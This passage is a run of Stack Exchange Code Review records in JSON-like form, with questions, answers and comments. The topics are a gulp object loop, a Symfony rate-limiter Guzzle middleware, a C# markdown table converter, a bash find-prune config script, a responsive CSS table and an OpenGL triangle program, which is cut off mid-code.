that checks for any <code>t</code> where <code>.src</code> and <code>.dest</code> properties are present. Now any <code>v</code> that comes out of <code>filter</code> can be put through <code>gulp</code> -</p>\n<pre class=\"lang-js prettyprint-override\"><code>for (const v of filter(libs, t =&gt; t?.src &amp;&amp; t?.dest))\n gulp.src(v.src).pipe(gulp.dest(v.dest)) // &lt;-\n</code></pre>\n<p>Note using <code>return</code> in <code>forEach</code> has no effect so it can be skipped entirely. <code>?.</code> is used to protect against <code>null</code> or <code>undefined</code> values that may appear in your tree</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T19:45:36.630", "Id": "508242", "Score": "1", "body": "Not a code review of the OP, and a counter proposal with too many Spartan variables names." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T23:51:02.103", "Id": "508260", "Score": "0", "body": "My review is that the code in question has too much knowledge of the input shape. Sorry two variables is too much for your brain to keep track of? It's a pure function, you can rename things to whatever you want" } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T16:56:14.353", "Id": "257310", "ParentId": "257307", "Score": "0" } }, { "body": "<p>A short review;</p>\n<ul>\n<li>I prefer to use the <code>function</code> keyword</li>\n<li>You are using <code>libs</code> like a global, I would pass it in the function</li>\n<li>If you don't need both <code>key</code> and <code>value</code>, then you can just use <code>Object.values</code></li>\n<li>Building on that, you might as well use a properly named function parameter and cut the lines in two</li>\n</ul>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function moveLibs(libs, done){\n Object.values(libs).forEach(types =&gt; {\n Object.values(types).forEach(srcAndDest =&gt; {\n Object.values(srcAndDest).forEach(value =&gt; {\n console.log(`Piped ${value.src} to ${value.dest}`);\n });\n });\n });\n\n done();\n};\n\nlibs=\n {\n a: {\n js: [\n {\n src: 'path/from/a1.js',\n dest: 'path/to/a1.js',\n },\n {\n src: 'path/from/a2.js',\n dest: 'path/to/a2.js',\n },\n ],\n css: [\n {\n src: 'path/from/a1.css',\n dest: 'path/to/b1.css',\n },\n ],\n },\n b: {\n js: [\n {\n src: 'path/from/b.js',\n dest: 'path/to/b.js',\n },\n ],\n },\n };\n\n\nmoveLibs(libs, ()=&gt;console.log(\"Hello World!\"));</code></pre>\r\n</div>\r\n</div>\r\n</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T19:46:09.727", "Id": "257314", "ParentId": "257307", "Score": "2" } } ]
{ "AcceptedAnswerId": "257314", "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T16:38:21.583", "Id": "257307", "Score": "3", "Tags": [ "javascript" ], "Title": "Simple way to loop through a JavaScript object array?" }
257307
<p>By reading this post <a href="https://symfony.com/doc/current/rate_limiter.html" rel="nofollow noreferrer">https://symfony.com/doc/current/rate_limiter.html</a> I had an idea to use the Symfony rate_limiter as a GuzzleRateLimiterMiddleware.</p> <p><strong>What do you think about it? Do you think it is a good idea or not at all?</strong></p> <p>I had the idea to use that because existing rate limiter middleware for Guzzle (i.e. <a href="https://github.com/spatie/guzzle-rate-limiter-middleware" rel="nofollow noreferrer">https://github.com/spatie/guzzle-rate-limiter-middleware</a>) does not manage &quot;shared rate limiter&quot; across several processes running in same time in parallel. Seems symfony/rate-limiter manages that natively. I tested and seems it works but I would like feedback from experts :-).</p> <p>The code of the RateLimiterMiddleware for guzzle:</p> <pre class="lang-php prettyprint-override"><code>&lt;?php namespace App\GuzzleMiddleware\RateLimiterMiddleware; use Closure; use Psr\Http\Message\RequestInterface; use Symfony\Component\RateLimiter\RateLimiterFactory; class RateLimiter { /** @var RateLimiterFactory */ protected $guzzleRateLimiter; /** * RateLimiter constructor. * @param RateLimiterFactory $guzzleRateLimiter */ public function __construct(RateLimiterFactory $guzzleRateLimiter) { $this-&gt;guzzleRateLimiter = $guzzleRateLimiter; } /** * @param callable $handler * @return Closure */ public function __invoke(callable $handler): Closure { return function (RequestInterface $request, array $options) use ($handler) { $limiter = $this-&gt;guzzleRateLimiter-&gt;create('custom-guzzle-rate-limiter'); while(!$limiter-&gt;consume()-&gt;isAccepted()){ sleep(1); } return $handler($request, $options); }; } } </code></pre> <p>The yaml config to add the middleware above to guzzle (inside services.yaml):</p> <pre class="lang-yaml prettyprint-override"><code>GuzzleMiddleware\GuzzleLimiterMiddleware\RateLimiter: class: App\GuzzleMiddleware\RateLimiterMiddleware\RateLimiter GuzzleHttp\HandlerStack: class: GuzzleHttp\HandlerStack factory: [ 'GuzzleHttp\HandlerStack', create ] calls: - [ push, [ '@log_middleware', 'log' ] ] - [ push, [ '@GuzzleMiddleware\GuzzleLimiterMiddleware\RateLimiter' ] ] </code></pre> <p>Thanks in advance for any feedback.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T07:27:28.770", "Id": "508268", "Score": "0", "body": "Welcome to CodeReview. Does your solution work as expected / intended?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T08:45:48.260", "Id": "508273", "Score": "0", "body": "Seems yes but i would like some feedbacks from \"expert\" Symfony developer to know if my solution is ok or not because this is the first time i develop a Guzzle middleware." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T08:54:24.537", "Id": "508275", "Score": "0", "body": "I've asked it because of this line: *How to add the middleware to guzzle* . Did you mean *This is how I have added the middleware to guzzle*?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T09:17:07.483", "Id": "508277", "Score": "1", "body": "Yes, this is the way to add the middleware to Guzzle." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T05:27:05.443", "Id": "508386", "Score": "0", "body": "guzzleRateLimiter is a very bad name for a property holding instance of Symfony rate limiter factory..." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T22:09:01.527", "Id": "508541", "Score": "0", "body": "Yes you are right. Anyway, I decided to change my strategy. I decided to use https://github.com/caseyamcl/guzzle_retry_middleware instead." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "6", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T17:56:31.447", "Id": "257312", "Score": "1", "Tags": [ "php", "symfony4" ], "Title": "Use Symfony5 native rate-limiter to build a GuzzleRateLimiter middleware" }
257312
<p>I am attempting to implement a converter which can convert <code>List&lt;string&gt;</code> type <a href="https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet#Tables" rel="nofollow noreferrer">markdown table</a> into two dimensional array <code>string[,]</code>.</p> <p><strong>The experimental implementation</strong></p> <pre><code>public static class Converter { public static string[,] ToTwoDimArray(in List&lt;string&gt; input) { return ConcatenateVertical(GetTitleRow(input), GetContents(input)); } private static string[,] ConcatenateVertical(in string[] source, in string[] newRow) { int columnLength = source.GetLength(0); string[,] output = new string[2, columnLength]; for (int columnIndex = 0; columnIndex &lt; columnLength; columnIndex++) { output[0, columnIndex] = source[columnIndex]; } for (int columnIndex = 0; columnIndex &lt; columnLength; columnIndex++) { output[1, columnIndex] = newRow[columnIndex]; } return output; } private static string[,] ConcatenateVertical(in string[,] source, in string[] newRow) { int columnLength = source.GetLength(1); int rowLength = source.GetLength(0) + 1; string[,] output = new string[rowLength, columnLength]; for (int rowIndex = 0; rowIndex &lt; rowLength - 1; rowIndex++) { for (int columnIndex = 0; columnIndex &lt; columnLength; columnIndex++) { output[rowIndex, columnIndex] = source[rowIndex, columnIndex]; } } for (int columnIndex = 0; columnIndex &lt; columnLength; columnIndex++) { output[rowLength - 1, columnIndex] = newRow[columnIndex]; } return output; } private static string[,] ConcatenateVertical(in string[] source, in string[,] newRows) { if (source.GetLength(0) != newRows.GetLength(1)) { throw new ArgumentException(&quot;Width isn't match&quot;, nameof(source)); } int columnLength = source.GetLength(0); int rowLength = newRows.GetLength(0) + 1; string[,] output = new string[rowLength, columnLength]; for (int columnIndex = 0; columnIndex &lt; columnLength; columnIndex++) { output[0, columnIndex] = source[columnIndex]; } for (int rowIndex = 1; rowIndex &lt; rowLength; rowIndex++) { for (int columnIndex = 0; columnIndex &lt; columnLength; columnIndex++) { output[rowIndex, columnIndex] = newRows[rowIndex - 1, columnIndex]; } } return output; } private static string[,] GetContents(in List&lt;string&gt; input) { int columnLength = GetTitleRow(input).Length; int rowLength = input.Count - 2; string[,] output = new string[rowLength, columnLength]; for (int rowIndex = 2; rowIndex &lt; input.Count; rowIndex++) { var rowData = GetRow(input, rowIndex); for (int columnIndex = 0; columnIndex &lt; columnLength; columnIndex++) { output[rowIndex - 2, columnIndex] = rowData[columnIndex]; } } return output; } private static string[] GetTitleRow(in List&lt;string&gt; input) { return GetRow(input, 0); } private static string[] GetRow(in List&lt;string&gt; input, in int rowIndex) { return RowConstructor(input[rowIndex]); } private static string[] RowConstructor(in string input) { char[] charsToTrim = { ' ' }; return Array.ConvertAll(input[1..^1].Split('|').ToArray(), element =&gt; element.Trim(charsToTrim)); } } </code></pre> <p><strong>Test cases</strong></p> <pre><code>System.Collections.Generic.List&lt;string&gt; strings = new System.Collections.Generic.List&lt;string&gt;(); strings.Add(&quot;|1|2|3|4|&quot;); strings.Add(&quot;|:-:|:-:|:-:|:-:|&quot;); strings.Add(&quot;|5|6|7|8|&quot;); strings.Add(&quot;|9|10|11|12|&quot;); strings.Add(&quot;|13|14|15|16|&quot;); strings.Add(&quot;|17|18|19|20|&quot;); strings.Add(&quot;|21|22|23|24|&quot;); strings.Add(&quot;|25|26|27|28|&quot;); strings.Add(&quot;|29|30|31|32|&quot;); strings.Add(&quot;|33|34|35|36|&quot;); strings.Add(&quot;|37|38|39|40|&quot;); string[,] result = Converter.ToTwoDimArray(strings); int columnLength = result.GetLength(1); int rowLength = result.GetLength(0); for (int rowIndex = 0; rowIndex &lt; rowLength; rowIndex++) { for (int columnIndex = 0; columnIndex &lt; columnLength; columnIndex++) { Console.Write($&quot;{result[rowIndex, columnIndex]}\t&quot;); } Console.WriteLine(); } </code></pre> <p>The output of the above test:</p> <pre><code>1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 </code></pre> <p>If there is any possible improvement, please let me know.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T20:42:37.243", "Id": "508245", "Score": "0", "body": "This does not seem to work as intended. You specify that each column should be centered with `:-:` but each is left aligned. This example seems too trivial to catch any problems. For instance, what about determining the width of each column? Here you have 2 digits so that's trivial. What if you the 2nd column had something with 8 characters and the last column has something with 10 characters?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T20:53:06.937", "Id": "508248", "Score": "0", "body": "@RickDavin Thank you for the comments. I am trying to retrieve data in Markdown table format and construct in `string[,]` type structure. Because the data structure used here is only `string[,]`, the alignment hasn't been recorded. In the listed example, I am trying to print the constructed `string[,]` result and this is nothing about the alignment `:-:`" } ]
[ { "body": "<p>The <code>in</code> keyword in a parameter list is used to pass an argument by reference. This is used to speed up passing big structs. Since strings and lists are of a reference type, a reference is passed anyway. Specifying <code>ref</code>, <code>out</code> or <code>in</code> makes them be passed a reference to a reference. This makes only sense for <code>ref</code> or <code>out</code> parameters when the method must replace the original object of the caller.</p>\n<p>See also: <a href=\"https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/in-parameter-modifier\" rel=\"nofollow noreferrer\">in parameter modifier (C# Reference)</a>.</p>\n<hr />\n<p>You can make the <code>RowConstructor</code> more robust by allowing the leading or the trailing <code>|</code> to be optional (as specified in the link you provided). The name &quot;constructor&quot; is more suited for a class. I prefer verbs for methods.</p>\n<p><code>String.Split</code> returns an array already. <code>.ToArray()</code> is superfluous.</p>\n<pre class=\"lang-cs prettyprint-override\"><code>private static string[] CreateRow(string input)\n{\n int start = input[0] is '|' ? 1 : 0;\n int end = input[^1] is '|' ? 1 : 0;\n return input[start..^end].Split('|');\n}\n</code></pre>\n<hr />\n<p>We can do it without this complicated <code>Concatentate..</code> methods by inserting the rows directly into the output table.</p>\n<pre class=\"lang-cs prettyprint-override\"><code>private static void InsertRow(string[,] table, string[] row, int rowindex)\n{\n int numColumns = table.GetLength(1);\n for (int i = 0; i &lt; numColumns; i++) {\n table[rowindex, i] = row[i];\n }\n}\n</code></pre>\n<hr />\n<p>We can treat the header row the same way as we do with the data rows, except that we must get it before creating the output table to determine the number of columns. Therefore, I created a method that creates the output 2d-array and returns it as a tuple together with the reader row.</p>\n<pre class=\"lang-cs prettyprint-override\"><code>private static (string[,] table, string[] header) CreateTable(IList&lt;string&gt; input)\n{\n string[] headerRow = CreateRow(input[0]);\n int numColumns = headerRow.Length;\n int numRows = input.Count - 1; // without the horizontal line row.\n string[,] table = new string[numRows, numColumns];\n\n return (table, headerRow);\n}\n</code></pre>\n<hr />\n<p>Now we can write the main method easily.</p>\n<pre class=\"lang-cs prettyprint-override\"><code>public static string[,] ToTwoDimArray(List&lt;string&gt; input)\n{\n var (table, header) = CreateTable(input);\n InsertRow(table, header, 0);\n\n for (int rowIndex = 2; rowIndex &lt; input.Count; rowIndex++) {\n string[] dataRow = CreateRow(input[rowIndex]);\n InsertRow(table, dataRow, rowIndex - 1);\n }\n\n return table;\n}\n</code></pre>\n<hr />\n<p>My solution has 40 lines of code and is still very readable, compared to your solution with 98 lines of code. This has mainly been achieved by replacing 3 lengthy concatenation methods by a single row insert method.</p>\n<p>Remove some vertical lines at the begin and end of lines in the test input to test the new <code>CreateRow</code> method.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T23:21:10.280", "Id": "508259", "Score": "0", "body": "Thank you for answering. About the `in` parameter part, if the purpose is to ensure that the reference type argument is not able to be modified, is there any other better way?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T12:57:18.567", "Id": "508306", "Score": "1", "body": "No, you can't ensure that members of a reference type are modified. Passing by value (the default) will only ensure that the reference itself won't be modified outside the method. Sure, you can pass the list as [IReadOnlyList<T>](https://docs.microsoft.com/en-us/dotnet/api/system.collections.generic.ireadonlylist-1?view=net-5.0) (the list implements it), but you cannot avoid that it will be cast back to [List<T>](https://docs.microsoft.com/en-us/dotnet/api/system.collections.generic.list-1?view=net-5.0) (`if (readonlyList is List<T> list) list.Add(\"hello\");`)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T13:06:39.417", "Id": "508311", "Score": "0", "body": "There is the possibility to wrap the list into a [ReadOnlyCollection<T> Class](https://docs.microsoft.com/en-us/dotnet/api/system.collections.objectmodel.readonlycollection-1?view=net-5.0) with the [List<T>.AsReadOnly Method](https://docs.microsoft.com/en-us/dotnet/api/system.collections.generic.list-1.asreadonly?view=net-5.0). But this would have to be done by the caller. Otherwise it makes only sense for return values. For value types, passing by value will always pass a copy to the method." } ], "meta_data": { "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T21:56:10.297", "Id": "257321", "ParentId": "257315", "Score": "2" } } ]
{ "AcceptedAnswerId": "257321", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T20:08:14.133", "Id": "257315", "Score": "0", "Tags": [ "c#", "strings", "array", "formatting" ], "Title": "Markdown table strings to two dimensional array converter implementation in C#" }
257315
<p>The idea is to perform indexing of filetrees while excluding certain directories. I want to give the user a simple conf file instead of having to edit the script itself. This is what I came up with:</p> <p>conf.file:</p> <pre><code>cache home/files </code></pre> <p>program:</p> <pre><code>#!/usr/bin/env bash function get_opts { while read opt do echo &quot;-path /data/data/com.termux/$opt -prune -o \\&quot; &gt;&gt; fn_temp done &lt; conf.file } function build_search_fn { touch fn_temp echo &quot;function do_search {&quot; &gt; fn_temp echo &quot;find /data/data/com.termux \\&quot; &gt;&gt; fn_temp get_opts echo &quot;-print&quot; &gt;&gt; fn_temp echo &quot;}&quot; &gt;&gt; fn_temp } build_search_fn source fn_temp do_search &gt;&gt; output </code></pre> <p>It does what I want, but I have a strong feeling that it's not the 'proper' way of doing it. Besides the obvious lack of putting the base path into variables and some errorhandling I'm eager to learn about other approaches to do this.</p>
[]
[ { "body": "<p>You can use subcommands in a command:</p>\n<pre><code>echo &quot;This $(date) is a date calculated in the echo command&quot;\n</code></pre>\n<p>When you don't need additional control statements, you can use combined code like:</p>\n<pre><code>find /data/data/com.termux \\\n $(awk '{printf(&quot;-path %s%s -prune -o &quot;, &quot;/data/data/com.termux/&quot;, $0)}' conf.file) \\\n -print &gt;&gt; output\n</code></pre>\n<p>The <code>awk</code> command might be new for you, it is a replacement for your loop over the conf file. The same result can be found with <code>sed</code>:</p>\n<pre><code>sed 's#.*#/data/data/com.termux/&amp; -prune -o #' conf.file\n</code></pre>\n<p>I think <code>awk</code> is the best here.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T17:05:47.273", "Id": "508577", "Score": "1", "body": "I left awk because I wanted a pure bash version. I don't know if it adds any value to throw a regex in just for the sake of it. Certainly for more eloberate things.I'll except your's as answer anyway since it's for sure the more common way.Edit: Stroke that regex since awk is used for formatting the string not matching." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T14:21:53.017", "Id": "257441", "ParentId": "257316", "Score": "1" } } ]
{ "AcceptedAnswerId": "257441", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T20:22:38.877", "Id": "257316", "Score": "0", "Tags": [ "beginner", "bash" ], "Title": "Generate a find command with pruned directories based on a config file" }
257316
<p>I have been looking for a way to display tabular data in a way that is optimal both for large (desktop) and small (smartphone) devices.</p> <p>I use divs instead of tables.</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>class ResponsiveTableComponent { constructor() { this.responsiveTable = document.querySelector(".responsiveTable"); this.responsiveTableHeading = this.responsiveTable.querySelector( ".responsiveTable__tableHeading .responsiveTable__tableRow" ); this.responsiveTableBody = this.responsiveTable.querySelector( ".responsiveTable__tableBody" ); this.responsiveTableRows = this.responsiveTableBody.querySelectorAll( ".responsiveTable__tableRow" ); } insertRow() { this.responsiveTableRows.forEach((row) =&gt; { let headingCopy = this.responsiveTableHeading.cloneNode(true); headingCopy.classList.add("responsiveTable__tableRowCopy"); this.responsiveTableBody.appendChild(headingCopy); headingCopy.after(row); }); } init() { this.insertRow(); } } const responsiveTableComponent = new ResponsiveTableComponent(); responsiveTableComponent.init();</code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>body { margin: 0; padding: 0; font-family: Arial, sans-serif; } body * { box-sizing: border-box; } .responsiveTable { font-size: 13px; border-collapse: collapse; } .responsiveTable-bordered { border: 1px solid #ccc; margin: 5px; } .responsiveTable__tableHeading { border-bottom: 2px solid #ccc; display: none; } .responsiveTable__tableCell, .responsiveTable__tableHead { padding: 8px 4px; white-space: nowrap; } .responsiveTable__tableBody { display: flex; flex-wrap: wrap; } .responsiveTable__tableBody .responsiveTable__tableHeading, .responsiveTable__tableBody .responsiveTable__tableRow { display: block; width: 50%; border-bottom: 1px solid rgba(0, 0, 0, 0.1); } .responsiveTable__tableBody .responsiveTable__tableHead { font-weight: bold; } @media (min-width: 992px) { .responsiveTable { display: table; width: 100%; } .responsiveTable__tableRow { display: table-row; } .responsiveTable__tableHeading { display: table-header-group; font-weight: bold; } .responsiveTable__tableCell, .responsiveTable__tableHead { display: table-cell; padding: 10px 5px; } .responsiveTable__tableCell { color: #565656; } .responsiveTable__tableBody { display: table-row-group; } .responsiveTable__tableBody .responsiveTable__tableRow { width: 100%; display: table-row; border-bottom: 1px solid rgba(0, 0, 0, 0.1); } .responsiveTable__tableBody .responsiveTable__tableRowCopy { display: none; } }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div class="responsiveTable responsiveTable"&gt; &lt;div class="responsiveTable__tableHeading"&gt; &lt;div class="responsiveTable__tableRow"&gt; &lt;div class="responsiveTable__tableHead"&gt;Full Name&lt;/div&gt; &lt;div class="responsiveTable__tableHead"&gt;Email&lt;/div&gt; &lt;div class="responsiveTable__tableHead"&gt;Address&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="responsiveTable__tableBody"&gt; &lt;div class="responsiveTable__tableRow"&gt; &lt;div class="responsiveTable__tableCell"&gt;Leanne Graham&lt;/div&gt; &lt;div class="responsiveTable__tableCell"&gt;sincere@april.biz&lt;/div&gt; &lt;div class="responsiveTable__tableCell"&gt;1414 Lamberts Branch Road&lt;/div&gt; &lt;/div&gt; &lt;div class="responsiveTable__tableRow"&gt; &lt;div class="responsiveTable__tableCell"&gt;Ervin Howell&lt;/div&gt; &lt;div class="responsiveTable__tableCell"&gt;shanna@melissa.tv&lt;/div&gt; &lt;div class="responsiveTable__tableCell"&gt;1414 Lamberts Branch Road&lt;/div&gt; &lt;/div&gt; &lt;div class="responsiveTable__tableRow"&gt; &lt;div class="responsiveTable__tableCell"&gt;Clementine Bauch&lt;/div&gt; &lt;div class="responsiveTable__tableCell"&gt;nathan@yesenia.net&lt;/div&gt; &lt;div class="responsiveTable__tableCell"&gt;1415 Lamberts Branch Road&lt;/div&gt; &lt;/div&gt; &lt;div class="responsiveTable__tableRow"&gt; &lt;div class="responsiveTable__tableCell"&gt;Patricia Lebsack&lt;/div&gt; &lt;div class="responsiveTable__tableCell"&gt;julianne.oconner@kory.org&lt;/div&gt; &lt;div class="responsiveTable__tableCell"&gt;1415 Lamberts Branch Road&lt;/div&gt; &lt;/div&gt; &lt;div class="responsiveTable__tableRow"&gt; &lt;div class="responsiveTable__tableCell"&gt;Chelsey Dietrich&lt;/div&gt; &lt;div class="responsiveTable__tableCell"&gt;lucio_hettinger@annie.ca&lt;/div&gt; &lt;div class="responsiveTable__tableCell"&gt;1415 Lamberts Branch Road&lt;/div&gt; &lt;/div&gt; &lt;div class="responsiveTable__tableRow"&gt; &lt;div class="responsiveTable__tableCell"&gt;Dennis Schulist&lt;/div&gt; &lt;div class="responsiveTable__tableCell"&gt;karley_dach@jasper.info&lt;/div&gt; &lt;div class="responsiveTable__tableCell"&gt;1415 Sun Road&lt;/div&gt; &lt;/div&gt; &lt;div class="responsiveTable__tableRow"&gt; &lt;div class="responsiveTable__tableCell"&gt;Kurtis Weissnat&lt;/div&gt; &lt;div class="responsiveTable__tableCell"&gt;telly.hoeger@billy.biz&lt;/div&gt; &lt;div class="responsiveTable__tableCell"&gt;1415 Sun Road&lt;/div&gt; &lt;/div&gt; &lt;div class="responsiveTable__tableRow"&gt; &lt;div class="responsiveTable__tableCell"&gt;Nicholas Runolfsdottir V&lt;/div&gt; &lt;div class="responsiveTable__tableCell"&gt;sherwood@rosamond.me&lt;/div&gt; &lt;div class="responsiveTable__tableCell"&gt;1415 Sun Road&lt;/div&gt; &lt;/div&gt; &lt;div class="responsiveTable__tableRow"&gt; &lt;div class="responsiveTable__tableCell"&gt;Glenna Reichert&lt;/div&gt; &lt;div class="responsiveTable__tableCell"&gt;chaim_mcdermott@dana.io&lt;/div&gt; &lt;div class="responsiveTable__tableCell"&gt;1415 Sun Road&lt;/div&gt; &lt;/div&gt; &lt;div class="responsiveTable__tableRow"&gt; &lt;div class="responsiveTable__tableCell"&gt;Clementina DuBuque&lt;/div&gt; &lt;div class="responsiveTable__tableCell"&gt;rey.padberg@karina.biz&lt;/div&gt; &lt;div class="responsiveTable__tableCell"&gt;1415 Sun Road&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;</code></pre> </div> </div> </p> <p>My concerns are:</p> <ol> <li>Did I use too much CSS?</li> <li>Was using BEM a good idea?</li> </ol>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T21:39:14.520", "Id": "508252", "Score": "0", "body": "@ferada It is responsive tabular data. What is not clear?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T21:51:49.200", "Id": "508255", "Score": "0", "body": "@ferada That's just an example, of course." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T21:52:58.723", "Id": "508256", "Score": "0", "body": "Please disregard my earlier comments then, hope you get some good reviews." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T07:53:34.033", "Id": "508269", "Score": "0", "body": "For more info on \"BEM\" see: http://getbem.com" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T05:38:03.733", "Id": "508387", "Score": "0", "body": "@KIKOSoftware Please add a code review (answer). Thank you! :)" } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T21:20:36.000", "Id": "257319", "Score": "1", "Tags": [ "javascript", "css" ], "Title": "Responsive pseudo-tables" }
257319
<p>Here is my OpenGL &quot;Hello, Triangles&quot; program. I tried to avoid all the deprecated functions and put the triangles in a buffer. Even in two different ways.</p> <p>It is a bit bloated by the shader compile status checking. But this error info is very helpful. It is why I mention the original author whose code got me started.</p> <p>Maybe the <code>#version 460</code> in the shaders should be reduced? First I also had <code>compatibility</code> (to access <code>gl_Vertex</code> built-in easily), but then I changed to a real <code>in</code> variable.</p> <p>There are some subtle differences between the <code>...pointer20</code> and <code>...format46</code> version I don't really understand.</p> <p>The official wiki on khronos.org also compares these two methods. In one place they mention <code>glVertexAttribBinding(index, index)</code>. <strong>Yes, but which index?</strong> I tried to optically sort these out with <code>BUF</code>, <code>VB</code> and <code>VAA</code>.</p> <p>Is this non-deprecated and &quot;modern&quot; OpenGL?</p> <p>And what do you think of it? Thank you for your interest.</p> <pre><code>/* OpenGL Hello Triangles: minimal program with shaders and data buffers. Draws two overlapping (piercing, with depth) triangles. No _deprecated_ functions. /* Based on original by Jan Wedekind (shader integration) &quot; */ /* Libs: -lGL -lGLEW -lglut */ #include &lt;stdio.h&gt; #include &lt;GL/glew.h&gt; #include &lt;GL/glut.h&gt; /* GL objects/binds. 'VAA' must match the vertex shader's 'in' location (default 0) */ /* 'VB' is 'vertex buffer binding point index'; 'VAA' is 'vertex sttribute array' */ int BUF; const int VB = 3, VAA = 0; int width = 450, height = 300; /* Two triangles already in final clip space coords */ /* 'xyz' are the middle three; the '6' will be skipped by ...Format() */ /* 'w' (after xyz) is used for color */ float vertices[] = { 6, 1, 1, 0.2, 0, 6, -1,-1, 0.6, 0.1, 6, -1, 1, 0.5, 0.3, 6, 0.3, -.8, .9, 1, 6, 0, 0.9, .1, .9, /* z=0.1 --&gt; near tip of second triangle */ 6, -.5, -.8, .9, .8, }; /* Same two, but the extra '6' is after the actual vertex data. This way ...Pointer() can also use this array (version II)*/ float vertices_2[] = { 1, 1, 0.2, 0, 6, -1,-1, 0.6, 0.1, 6, -1, 1, 0.5, 0.3, 6, 0.3, -.8, .9, 1, 6, 0, 0.9, 0.1, .9, 6, -.5, -.8, .9, .8, 6, }; /* Shaders as strings. Ugly but practical */ /* Vertex shader. Invents some color from the 'w' column xyz position is just passed on (no perspective) */ const char *vertex_src = &quot;#version 460\n&quot; &quot; in vec4 Vertex; \n\ out vec4 Vcolor; \n\ void main() { \n\ gl_Position = vec4(Vertex.xyz, 1); \n\ Vcolor = vec4(Vertex.y, .4, Vertex.w, 0.5); \n\ } \n\ &quot;; /* Fragment shader. Applies the color (interpolated) */ const char *fragment_src = &quot;#version 460\n&quot; &quot; in vec4 Vcolor; \n\ void main() { \n\ gl_FragColor = Vcolor; \n\ } \n\ &quot;; /* Shader compile/link status feedback */ char buffer[1024]; int param; void shader_status(int shader) { glGetShaderiv(shader, GL_COMPILE_STATUS, &amp;param); if (param) return; glGetShaderInfoLog(shader, 1024, NULL, buffer); fprintf(stderr, &quot;Shader compile status:\n%s\n&quot;, buffer); } void program_status(int prog) { glGetProgramiv(prog, GL_LINK_STATUS, &amp;param); if (param) return; glGetProgramInfoLog(prog, 1024, NULL, buffer); fprintf(stderr, &quot;Program link status:\n%s\n&quot;, buffer); } /* Shader object from string; compile and check */ int make_shader(const char *src, int sh_typ) { int shader = glCreateShader(sh_typ); glShaderSource(shader, 1, &amp;src, NULL); glCompileShader(shader); shader_status(shader); return shader; } /* Program object from a vertex and a fragment shader; link and check */ int make_program(int vert, int frag) { int prog = glCreateProgram(); glAttachShader(prog, vert); glAttachShader(prog, frag); glLinkProgram(prog); program_status(prog); return prog; } /* Prepare Data 2nd version: Traditional with BindBuffer(), VertexAttribPointer() */ void init_bufs_pointer20(void) { glGenBuffers(1, &amp;BUF); glBindBuffer(GL_ARRAY_BUFFER, BUF); glBufferData(GL_ARRAY_BUFFER, sizeof(vertices_2), vertices_2, GL_STATIC_DRAW); glVertexAttribPointer(VAA, 4, GL_FLOAT, GL_FALSE, 5*sizeof(float), (void *)0); //..., stride, pointer) glEnableVertexAttribArray(VAA); } /* Prepare data: New with BindVertexBuffer(), VertexAttribFormat(), NamedBufferData() */ /* VertexAttribBinding() is done outside (= final step) */ void init_bufs_format46(void) { glCreateBuffers(1, &amp;BUF); glNamedBufferData(BUF, sizeof vertices, vertices, GL_STATIC_DRAW); glBindVertexBuffer(VB, BUF, 0, 5*sizeof(float)); //..., offset, stride) glVertexAttribFormat(VAA, 4, GL_FLOAT, GL_FALSE, 1*sizeof(float)); // ..., reloffset) -&gt; skip first float glEnableVertexAttribArray(VAA); } /* glut callbacks */ void display(void) { glClear(GL_DEPTH_BUFFER_BIT | GL_COLOR_BUFFER_BIT); 